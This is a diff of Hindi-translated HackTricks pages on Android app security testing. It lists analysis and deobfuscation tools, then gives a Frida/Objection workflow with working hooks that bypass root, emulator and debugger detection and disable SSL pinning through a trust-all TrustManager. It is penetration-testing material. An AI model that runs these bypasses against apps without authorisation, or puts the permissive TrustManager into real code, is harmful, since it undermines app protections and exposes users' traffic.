> MobSF के साथ dynamic analysis करने के बाद proxy सेटिंग्स ग़लत हो सकती हैं और आप उन्हें GUI से ठीक नहीं कर पाएँगे। आप प्रॉक्सी सेटिंग्स को इस कमांड से ठीक कर सकते हैं:
|
||||
> MobSF के साथ dynamic analysis करने के बाद proxy settings गलत कॉन्फ़िगर हो सकती हैं और आप उन्हें GUI से ठीक नहीं कर पाएंगे। आप proxy settings को ठीक करने के लिए नीचे दिया गया कमांड चला सकते हैं:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
@ -675,18 +672,18 @@ MobSF के साथ dynamic analysis समाप्त करने के
|
||||
|
||||
### Assisted Dynamic Analysis with Inspeckage
|
||||
|
||||
आप यह टूल [**Inspeckage**](https://github.com/ac-pm/Inspeckage) से प्राप्त कर सकते हैं।\
|
||||
यह टूल कुछ **Hooks** का उपयोग करता है ताकि जब आप **dynamic analysis** कर रहे हों तो यह आपको बताये **what is happening in the application**।
|
||||
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
यह टूल कुछ **Hooks** का उपयोग करेगा ताकि जब आप **dynamic analysis** कर रहे हों तो आपको पता चल सके **एप्लिकेशन में क्या हो रहा है**।
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
यह एक **great tool to perform static analysis with a GUI**
|
||||
This is a **great tool to perform static analysis with a GUI**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
यह टूल कई प्रकार की **security related Android application vulnerabilities** खोजने के लिए डिज़ाइन किया गया है, चाहे वो **source code** में हों या **packaged APKs** में। यह टूल कुछ मिली कमजोरियों का इस्तेमाल करने के लिए **capable of creating a "Proof-of-Concept" deployable APK** और **ADB commands** भी बना सकता है (Exposed activities, intents, tapjacking...). Drozer की तरह, टेस्ट डिवाइस को root करने की आवश्यकता नहीं है।
|
||||
This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -695,22 +692,22 @@ qark --java path/to/specific/java/file.java
|
||||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
- सभी निकाली गई फ़ाइलों को आसान संदर्भ के लिए दिखाता है
|
||||
- APK files को स्वतः Java और Smali फ़ॉर्मेट में decompile करता है
|
||||
- AndroidManifest.xml का विश्लेषण सामान्य vulnerabilities और व्यवहार के लिए
|
||||
- Static source code analysis सामान्य vulnerabilities और व्यवहार के लिए
|
||||
- आसान संदर्भ के लिए सभी निकाले गए फ़ाइलें दिखाता है
|
||||
- APK फ़ाइलों को स्वचालित रूप से Java और Smali फॉर्मैट में decompile करता है
|
||||
- सामान्य कमजोरियों और व्यवहार के लिए AndroidManifest.xml का विश्लेषण करता है
|
||||
- सामान्य कमजोरियों और व्यवहार के लिए स्थैतिक स्रोत कोड विश्लेषण
|
||||
- डिवाइस जानकारी
|
||||
- और भी बहुत कुछ
|
||||
- और भी
|
||||
```bash
|
||||
reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER एक command-line application है जिसे Windows, MacOS X और Linux पर इस्तेमाल किया जा सकता है, जो _.apk_ फ़ाइलों का vulnerabilities की तलाश में विश्लेषण करता है। यह APKs को decompress करके और नियमों की एक श्रृंखला लागू करके उन vulnerabilities का पता लगाता है।
|
||||
SUPER एक command-line application है जिसे Windows, MacOS X और Linux पर उपयोग किया जा सकता है, जो _.apk_ फाइलों का विश्लेषण करके vulnerabilities की तलाश करता है। यह APKs को decompress करके और vulnerabilities का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके यह करता है।
|
||||
|
||||
सभी rules `rules.json` फ़ाइल में केंद्रीकृत हैं, और हर कंपनी या tester अपनी ज़रूरत के अनुसार विश्लेषण के लिए अपने नियम बना सकता है।
|
||||
सभी नियम `rules.json` फाइल में केंद्रित हैं, और प्रत्येक कंपनी या टेस्टर अपनी ज़रूरत के अनुसार अपने नियम बना सकता है।
|
||||
|
||||
Latest binaries डाउनलोड करने के लिए [download page](https://superanalyzer.rocks/download.html) देखें
|
||||
नवीनतम binaries को [download page](https://superanalyzer.rocks/download.html) से डाउनलोड करें
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
@ -718,9 +715,9 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn एक **crossplatform** टूल है जो developers, bugbounty hunters और ethical hackers को मोबाइल applications पर [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) करने में मदद करता है।
|
||||
StaCoAn एक **क्रॉस-प्लेटफ़ॉर्म** टूल है जो डेवलपर्स, bugbounty hunters और ethical hackers को मोबाइल एप्लिकेशन्स पर [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) करने में सहायता करता है।
|
||||
|
||||
विचार यह है कि आप अपना मोबाइल application फ़ाइल (.apk या .ipa फ़ाइल) StaCoAn application पर drag and drop करें और यह आपके लिए एक visual और portable रिपोर्ट तैयार करेगा। आप settings और wordlists को tweak करके एक customized अनुभव प्राप्त कर सकते हैं।
|
||||
कन्सेप्ट यह है कि आप अपनी मोबाइल एप्लिकेशन फ़ाइल (.apk या .ipa फ़ाइल) को StaCoAn एप्लिकेशन पर खींचकर छोड़ें और यह आपके लिए एक विज़ुअल और पोर्टेबल रिपोर्ट जनरेट करेगा। आप सेटिंग्स और wordlists को ट्वीक करके एक कस्टमाइज़्ड अनुभव प्राप्त कर सकते हैं।
|
||||
|
||||
डाउनलोड[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
@ -728,7 +725,7 @@ StaCoAn एक **crossplatform** टूल है जो developers, bugbounty h
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework एक Android vulnerability analysis system है जो developers या hackers को Android applications में संभावित security vulnerabilities खोजने में मदद करता है.\
|
||||
AndroBugs Framework एक Android vulnerability analysis सिस्टम है जो डेवलपर्स या hackers को Android applications में संभावित सुरक्षा कमजोरियों को खोजने में मदद करता है.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -736,11 +733,11 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** एक ऐसा टूल है जिसका मुख्य उद्देश्य Android application द्वारा विकसित संभावित हानिकारक व्यवहारों का पता लगाना और उपयोगकर्ता को चेतावनी देना है।
|
||||
**Androwarn** एक उपकरण है जिसका मुख्य उद्देश्य उपयोगकर्ता को किसी Android application द्वारा विकसित संभावित malicious व्यवहारों के बारे में पहचानना और चेतावनी देना है।
|
||||
|
||||
पता लगाने की प्रक्रिया एप्लिकेशन के Dalvik bytecode का **static analysis** करके की जाती है, जो **Smali** के रूप में प्रदर्शित होता है, और इसके लिये [`androguard`](https://github.com/androguard/androguard) लाइब्रेरी का उपयोग किया जाता है।
|
||||
यह detection application's Dalvik bytecode के **static analysis** के साथ की जाती है, जो **Smali** के रूप में प्रस्तुत होती है, और इसके लिए [`androguard`](https://github.com/androguard/androguard) लाइब्रेरी का उपयोग किया जाता है।
|
||||
|
||||
यह टूल **common behavior of "bad" applications** जैसी गतिविधियों को खोजता है, जैसे: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||
यह उपकरण **common behavior of "bad" applications** जैसे: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... की तलाश करता है।
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -748,75 +745,75 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** एक **M**obile **A**pplication **R**everse engineering और **A**nalysis Framework है। यह उन सामान्य रूप से उपयोग किए जाने वाले mobile application reverse engineering और analysis tools को एक साथ जोड़ने वाला एक टूल है, ताकि OWASP mobile security threats के खिलाफ mobile applications का परीक्षण करने में मदद मिल सके। इसका उद्देश्य mobile application developers और security professionals के लिए यह कार्य आसान और उपयोगकर्ता-अनुकूल बनाना है।
|
||||
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. यह एक ऐसा टूल है जो सामान्यतः उपयोग किए जाने वाले mobile application reverse engineering और analysis tools को एक साथ रखता है, ताकि OWASP mobile security threats के खिलाफ mobile applications का परीक्षण करना आसान हो सके। इसका उद्देश्य mobile application developers और security professionals के लिए यह कार्य सरल और अधिक मैत्रीपूर्ण बनाना है।
|
||||
|
||||
यह सक्षम है:
|
||||
It is able to:
|
||||
|
||||
- विभिन्न टूल्स का उपयोग करके Java और Smali कोड निकालने के लिए
|
||||
- APKs का विश्लेषण करने के लिए: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- regexps का उपयोग करके APK से private जानकारी निकालने के लिए।
|
||||
- Manifest का विश्लेषण करने के लिए।
|
||||
- मिले हुए domains का विश्लेषण करने के लिए: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) और [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- [apk-deguard.com](http://www.apk-deguard.com) के माध्यम से APK को deobfuscate करने के लिए
|
||||
- Extract Java and Smali code using different tools
|
||||
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Extract private information from the APK using regexps.
|
||||
- Analyze the Manifest.
|
||||
- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
मैलवेयर का पता लगाने के लिए उपयोगी: [https://koodous.com/](https://koodous.com/)
|
||||
malware का पता लगाने के लिए उपयोगी: [https://koodous.com/](https://koodous.com/)
|
||||
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
ध्यान दें कि आप जो सेवा और कॉन्फ़िगरेशन उपयोग करते हैं उसके आधार पर कोड को obfuscate करते समय Secrets obfuscated हो भी सकते हैं या नहीं भी।
|
||||
ध्यान दें कि आप जिस service और configuration का उपयोग करते हैं, उसके अनुसार कोड obfuscate होने पर secrets obfuscated रह सकते हैं या नहीं रह सकते।
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** एक open source कमांड-लाइन टूल है जो Java कोड को shrink, optimize और obfuscate करता है। यह bytecode को optimize करने के साथ-साथ उपयोग न होने वाले निर्देशों का पता लगाकर उन्हें हटा भी सकता है। ProGuard free software है और GNU General Public License, version 2 के तहत वितरित किया जाता है।
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. यह bytecode को optimize कर सकता है और unused instructions का पता लगा कर हटाने में सक्षम है। ProGuard free software है और GNU General Public License, version 2 के अंतर्गत वितरित होता है।
|
||||
|
||||
ProGuard Android SDK के हिस्से के रूप में वितरित होता है और application को release mode में build करते समय चलाया जाता है।
|
||||
ProGuard Android SDK का हिस्सा के रूप में वितरित होता है और release mode में application build करते समय चलता है।
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
APk को deobfuscate करने के लिए step-by-step guide देखें: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Deobfuscate करने के लिए step-by-step guide यहाँ मिलती है: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(उस गाइड से) आखिरी बार जब हमने देखा था, Dexguard का mode of operation इस प्रकार था:
|
||||
(From that guide) Last time we checked, the Dexguard mode of operation was:
|
||||
|
||||
- किसी resource को InputStream के रूप में load करें;
|
||||
- decrypted करने के लिए परिणाम को FilterInputStream से inheriting करने वाली किसी class को feed करें;
|
||||
- reverer के समय बर्बाद करने के लिए कुछ बेकार obfuscation करें;
|
||||
- decrypted परिणाम को ZipInputStream को feed करें ताकि DEX फ़ाइल मिले;
|
||||
- अंत में `loadDex` method का उपयोग करके resulting DEX को एक Resource के रूप में load करें।
|
||||
- load a resource as an InputStream;
|
||||
- feed the result to a class inheriting from FilterInputStream to decrypt it;
|
||||
- do some useless obfuscation to waste a few minutes of time from a reverser;
|
||||
- feed the decrypted result to a ZipInputStream to get a DEX file;
|
||||
- finally load the resulting DEX as a Resource using the `loadDex` method.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard उन Android obfuscation tools द्वारा किए गए obfuscation की प्रक्रिया को उलट देता है। इससे कई सुरक्षा विश्लेषण संभव होते हैं, जिनमें code inspection और libraries का अनुमान लगाना शामिल है।**
|
||||
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
|
||||
|
||||
आप obfuscated APK को उनके प्लेटफ़ॉर्म पर upload कर सकते हैं।
|
||||
आप एक obfuscated APK को उनके प्लेटफ़ॉर्म पर upload कर सकते हैं।
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
|
||||
यह android apps में किसी भी संभावित सुरक्षा कमजोरियों का पता लगाने और android app code को deobfuscate करने के लिए एक LLM टूल है। Uses Google's Gemini public API.
|
||||
यह एक LLM टूल है जो android apps में संभावित security vulnerabilities खोजने और android app code को deobfuscate करने के लिए है। Uses Google's Gemini public API.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
यह एक **generic android deobfuscator** है। Simplify **किसी ऐप को virtually execute करता है** ताकि उसके व्यवहार को समझा जा सके और फिर **कोड को optimize करने की कोशिश करता है** ताकि उसका व्यवहार समान रहे लेकिन इंसान के लिए समझना आसान हो। प्रत्येक optimization प्रकार सरल और generic है, इसलिए यह मायने नहीं रखता कि किस प्रकार का obfuscation उपयोग किया गया है।
|
||||
यह एक **generic android deobfuscator** है। Simplify ऐप को लगभग तौर पर execute करता है ताकि उसके व्यवहार को समझा जा सके और फिर **कोड को optimize करने की कोशिश करता है** ताकि यह समान व्यवहार करे लेकिन इंसान के लिए समझना आसान हो। प्रत्येक optimization प्रकार simple और generic है, इसलिए यह मायने नहीं रखता कि किस specific प्रकार की obfuscation का उपयोग किया गया था।
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD आपको यह जानकारी देता है कि **एक APK कैसे बनाया गया था**। यह कई **compilers**, **packers**, **obfuscators**, और अन्य अजीब चीज़ों की पहचान करता है। यह Android के लिए [_PEiD_](https://www.aldeid.com/wiki/PEiD) जैसा है।
|
||||
APKiD आपको यह जानकारी देता है कि **how an APK was made**। यह कई **compilers**, **packers**, **obfuscators**, और अन्य अजीब चीज़ों की पहचान करता है। यह Android के लिए [_PEiD_] है।
|
||||
|
||||
### Manual
|
||||
|
||||
[इस tutorial को पढ़ें ताकि आप सीख सकें कि custom obfuscation को reverse करने के कुछ tricks कैसे किए जाते हैं](manual-deobfuscation.md)
|
||||
[इस tutorial को पढ़ें ताकि आप कुछ tricks सीख सकें कि **how to reverse custom obfuscation**](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b एक Android security virtual machine है जो ubuntu-mate पर आधारित है और इसमें reverse engineering और malware analysis के लिए नवीनतम framework, tutorials और labs का संग्रह शामिल है, जो विभिन्न security geeks और researchers द्वारा प्रदान किये गए हैं।
|
||||
AndroL4b एक Android security virtual machine है जो ubuntu-mate पर आधारित है और इसमें reverse engineering और malware analysis के लिए नवीनतम framework, tutorials और labs का संग्रह शामिल है।
|
||||
|
||||
## References
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) यह resources की एक शानदार सूची है
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) यह संसाधनों की एक शानदार सूची है
|
||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
|
||||
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# Android एंटी‑इंस्ट्रूमेंटेशन और SSL पिनिंग बायपास (Frida/Objection)
|
||||
# Android Anti-Instrumentation & SSL Pinning Bypass (Frida/Objection)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
यह पृष्ठ उन Android ऐप्स के खिलाफ डायनामिक एनालिसिस पुनः प्राप्त करने के लिए एक व्यावहारिक वर्कफ़्लो प्रदान करता है जो इंस्ट्रूमेंटेशन का पता लगाते/रूट‑ब्लॉक करते हैं या TLS पिनिंग लागू करते हैं। यह तेज़ ट्रायेज़, सामान्य डिटेक्शंस, और कॉपी‑पेस्ट करने योग्य hooks/तactics पर केंद्रित है ताकि संभव होने पर बिना repacking के बायपास किया जा सके।
|
||||
यह पृष्ठ उन Android ऐप्स के खिलाफ dynamic analysis को बहाल करने के लिए एक व्यावहारिक वर्कफ़्लो प्रदान करता है जो instrumentation का पता लगाते/रूट‑ब्लॉक करते हैं या TLS pinning लागू करते हैं। यह तेज़ triage, सामान्य detections, और बिना repacking के संभव होने पर उन्हें bypass करने के लिए copy‑pasteable hooks/tactics पर केन्द्रित है।
|
||||
|
||||
## Detection Surface (what apps check)
|
||||
|
||||
@ -14,18 +14,18 @@
|
||||
|
||||
## Step 1 — Quick win: hide root with Magisk DenyList
|
||||
|
||||
- Enable Zygisk in Magisk
|
||||
- Enable DenyList, add the target package
|
||||
- Reboot and retest
|
||||
- Zygisk को Magisk में सक्षम करें
|
||||
- DenyList सक्षम करें, लक्ष्य पैकेज जोड़ें
|
||||
- रीबूट करें और पुनः परीक्षण करें
|
||||
|
||||
Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks.
|
||||
कई ऐप्स केवल स्पष्ट संकेतकों (su/Magisk paths/getprop) की तलाश करते हैं। DenyList अक्सर naive checks को बेअसर कर देता है।
|
||||
|
||||
References:
|
||||
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
|
||||
|
||||
## Step 2 — 30‑second Frida Codeshare tests
|
||||
|
||||
Try common drop‑in scripts before deep diving:
|
||||
गहराई से जाने से पहले सामान्य drop‑in scripts आज़माएँ:
|
||||
|
||||
- anti-root-bypass.js
|
||||
- anti-frida-detection.js
|
||||
@ -35,13 +35,13 @@ Example:
|
||||
```bash
|
||||
frida -U -f com.example.app -l anti-frida-detection.js
|
||||
```
|
||||
ये आम तौर पर Java के root/debug checks, process/service scans और native ptrace() को स्टब करते हैं। हल्के-प्रोटेक्टेड apps में उपयोगी; hardened targets के लिए tailored hooks की आवश्यकता हो सकती है।
|
||||
ये सामान्यतः Java के root/debug checks, process/service scans, और native ptrace() को stub करते हैं। हल्के सुरक्षा वाले apps में उपयोगी; hardened targets को tailored hooks की जरूरत पड़ सकती है।
|
||||
|
||||
- Codeshare: https://codeshare.frida.re/
|
||||
|
||||
## Medusa (Frida framework) के साथ ऑटोमेट करें
|
||||
## Medusa (Frida framework) के साथ स्वचालित करें
|
||||
|
||||
Medusa 90+ तैयार-मॉड्यूल प्रदान करता है जो SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception और अन्य के लिए उपयोगी हैं।
|
||||
Medusa 90+ ready-made मॉड्यूल प्रदान करता है — SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, और अन्य के लिए।
|
||||
```bash
|
||||
git clone https://github.com/Ch0pin/medusa
|
||||
cd medusa
|
||||
@ -54,11 +54,11 @@ use http_communications/multiple_unpinner
|
||||
use root_detection/universal_root_detection_bypass
|
||||
run com.target.app
|
||||
```
|
||||
टिप: Medusa custom hooks लिखने से पहले quick wins के लिए बहुत अच्छा है। आप modules को भी cherry-pick करके इन्हें अपने scripts के साथ combine कर सकते हैं।
|
||||
टिप: Medusa कस्टम hooks लिखने से पहले जल्दी नतीजे पाने के लिए बेहतरीन है। आप modules को cherry-pick करके उन्हें अपने scripts के साथ combine कर सकते हैं।
|
||||
|
||||
## Step 3 — init-time detectors को देर से attach करके bypass करें
|
||||
## Step 3 — init-time detectors को late attach करके bypass करें
|
||||
|
||||
कई detections केवल process spawn/onCreate() के दौरान ही चलते हैं। Spawn‑time injection (-f) या gadgets पकड़े जा जाते हैं; UI loads होने के बाद attach करने पर आप अक्सर इन्हें bypass कर सकते हैं।
|
||||
कई detections केवल process spawn/onCreate() के दौरान ही चलते हैं। Spawn‑time injection (-f) या gadgets पकड़े जा सकते हैं; UI load होने के बाद attach करने से वे छूट सकते हैं।
|
||||
```bash
|
||||
# Launch the app normally (launcher/adb), wait for UI, then attach
|
||||
frida -U -n com.example.app
|
||||
@ -78,7 +78,7 @@ public boolean isFridaDetected() {
|
||||
return getRunningServices().contains("frida");
|
||||
}
|
||||
```
|
||||
समीक्षा/hook करने के लिए सामान्य APIs:
|
||||
सामान्य APIs जिन्हें review/hook करना चाहिए:
|
||||
- android.os.Debug.isDebuggerConnected
|
||||
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
|
||||
- java.lang.System.loadLibrary / System.load (native bridge)
|
||||
@ -87,7 +87,7 @@ return getRunningServices().contains("frida");
|
||||
|
||||
## चरण 5 — Runtime stubbing with Frida (Java)
|
||||
|
||||
repacking के बिना सुरक्षित मान लौटाने के लिए custom guards को override करें:
|
||||
custom guards को ओवरराइड करें ताकि वे repacking किए बिना सुरक्षित मान लौटाएँ:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Checks = Java.use('com.example.security.Checks');
|
||||
@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
|
||||
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
|
||||
});
|
||||
```
|
||||
प्रारंभिक क्रैशेस की ट्रायजिंग कर रहे हैं? संभावित detection namespaces का पता लगाने के लिए मरने से ठीक पहले classes को dump करें:
|
||||
Triaging early crashes? Crash होने से ठीक पहले classes को dump करें ताकि संभावित detection namespaces का पता चल सके:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
Java.enumerateLoadedClasses({
|
||||
@ -119,7 +119,7 @@ RootChecker.isDeviceRooted.implementation = function () { return false; };
|
||||
} catch (e) {}
|
||||
});
|
||||
|
||||
लॉग करें और संदिग्ध मेथड्स को निष्क्रिय करके निष्पादन प्रवाह की पुष्टि करें:
|
||||
संदिग्ध विधियों को लॉग करें और निष्क्रिय करें ताकि निष्पादन प्रवाह की पुष्टि हो:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Det = Java.use('com.example.security.DetectionManager');
|
||||
@ -131,9 +131,9 @@ return false;
|
||||
```
|
||||
## Bypass emulator/VM detection (Java stubs)
|
||||
|
||||
सामान्य संकेत: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE में generic/goldfish/ranchu/sdk शामिल होना; QEMU artifacts जैसे /dev/qemu_pipe, /dev/socket/qemud; डिफ़ॉल्ट MAC 02:00:00:00:00:00; 10.0.2.x NAT; telephony/sensors का अभाव।
|
||||
सामान्य संकेत: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE में generic/goldfish/ranchu/sdk का होना; QEMU artifacts जैसे /dev/qemu_pipe, /dev/socket/qemud; डिफ़ॉल्ट MAC 02:00:00:00:00:00; 10.0.2.x NAT; telephony/sensors का अभाव।
|
||||
|
||||
Build फ़ील्ड्स का त्वरित spoof:
|
||||
Quick spoof of Build fields:
|
||||
```js
|
||||
Java.perform(function(){
|
||||
var Build = Java.use('android.os.Build');
|
||||
@ -143,11 +143,11 @@ Build.BRAND.value = 'google';
|
||||
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
|
||||
});
|
||||
```
|
||||
फाइल अस्तित्व जांच और पहचानकर्ताओं (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) के लिए स्टब जोड़ें ताकि वे यथार्थवादी मान लौटाएँ।
|
||||
फाइल अस्तित्व जांच और पहचानकर्ताओं (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) के लिए स्टब जोड़ें ताकि वे वास्तविक दिखने वाले मान लौटाएँ।
|
||||
|
||||
## SSL pinning bypass quick hook (Java)
|
||||
|
||||
कस्टम TrustManagers को निष्क्रिय करें और अनुमत SSL contexts लागू करने के लिए मजबूर करें:
|
||||
कस्टम TrustManagers को निष्क्रिय करें और परमीसिव SSL contexts लागू करें:
|
||||
```js
|
||||
Java.perform(function(){
|
||||
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
|
||||
@ -166,27 +166,27 @@ return SSLContextInit.call(this, km, TrustManagers, sr);
|
||||
});
|
||||
```
|
||||
नोट्स
|
||||
- OkHttp के लिए बढ़ाएँ: आवश्यकतानुसार okhttp3.CertificatePinner और HostnameVerifier को hook करें, या CodeShare से एक universal unpinning script का उपयोग करें.
|
||||
- OkHttp के लिए: जरूरत के अनुसार okhttp3.CertificatePinner और HostnameVerifier को hook करें, या CodeShare से एक universal unpinning script का उपयोग करें
|
||||
- उदाहरण चलाएँ: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
|
||||
|
||||
## चरण 6 — जब Java hooks असफल हों तो JNI/native trail का पालन करें
|
||||
## Step 6 — Java hooks असफल होने पर JNI/native trail का पालन करें
|
||||
|
||||
JNI entry points को ट्रेस करें ताकि native loaders और detection init का पता लगाया जा सके:
|
||||
JNI entry points को ट्रेस करके native loaders और detection init का पता लगाएँ:
|
||||
```bash
|
||||
frida-trace -n com.example.app -i "JNI_OnLoad"
|
||||
```
|
||||
बंडल किए गए .so फ़ाइलों का त्वरित नेटिव ट्रायेज़:
|
||||
बंडल किए गए .so फ़ाइलों का त्वरित native triage:
|
||||
```bash
|
||||
# List exported symbols & JNI
|
||||
nm -D libfoo.so | head
|
||||
objdump -T libfoo.so | grep Java_
|
||||
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
|
||||
```
|
||||
इंटरैक्टिव/native reversing:
|
||||
इंटरैक्टिव/नेटीव reversing:
|
||||
- Ghidra: https://ghidra-sre.org/
|
||||
- r2frida: https://github.com/nowsecure/r2frida
|
||||
|
||||
उदाहरण: ptrace को निष्क्रिय करके libc में सरल anti‑debug को बेअसर करें:
|
||||
उदाहरण: libc में सरल anti‑debug को मात देने के लिए ptrace को निष्क्रिय करें:
|
||||
```js
|
||||
const ptrace = Module.findExportByName(null, 'ptrace');
|
||||
if (ptrace) {
|
||||
@ -195,35 +195,35 @@ return -1; // pretend failure
|
||||
}, 'int', ['int', 'int', 'pointer', 'pointer']));
|
||||
}
|
||||
```
|
||||
संदर्भ:
|
||||
इन्हें भी देखें:
|
||||
{{#ref}}
|
||||
reversing-native-libraries.md
|
||||
{{#endref}}
|
||||
|
||||
## चरण 7 — Objection patching (embed gadget / strip basics)
|
||||
|
||||
जब आप runtime hooks की बजाय repacking को प्राथमिकता देते हैं, तो आज़माएँ:
|
||||
जब आप repacking को runtime hooks की बजाय प्राथमिकता देते हैं, तो कोशिश करें:
|
||||
```bash
|
||||
objection patchapk --source app.apk
|
||||
```
|
||||
नोट्स:
|
||||
- apktool आवश्यक है; बिल्ड समस्याओं से बचने के लिए आधिकारिक गाइड से नवीनतम संस्करण सुनिश्चित करें: https://apktool.org/docs/install
|
||||
- Gadget injection बिना root के instrumentation सक्षम करता है, लेकिन इसे मजबूत init‑time checks द्वारा फिर भी पकड़ा जा सकता है।
|
||||
Notes:
|
||||
- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install
|
||||
- Gadget injection enables instrumentation without root but can still be caught by stronger init‑time checks.
|
||||
|
||||
वैकल्पिक रूप से, LSPosed modules और Shamiko जोड़ें ताकि Zygisk environments में root छुपाने को मजबूत किया जा सके, और child processes को कवर करने के लिए DenyList को curate करें।
|
||||
Optionally, add LSPosed modules and Shamiko for stronger root hiding in Zygisk environments, and curate DenyList to cover child processes.
|
||||
|
||||
References:
|
||||
- Objection: https://github.com/sensepost/objection
|
||||
|
||||
## चरण 8 — Fallback: नेटवर्क दृश्यता के लिए TLS pinning को पैच करें
|
||||
## Step 8 — Fallback: Patch TLS pinning for network visibility
|
||||
|
||||
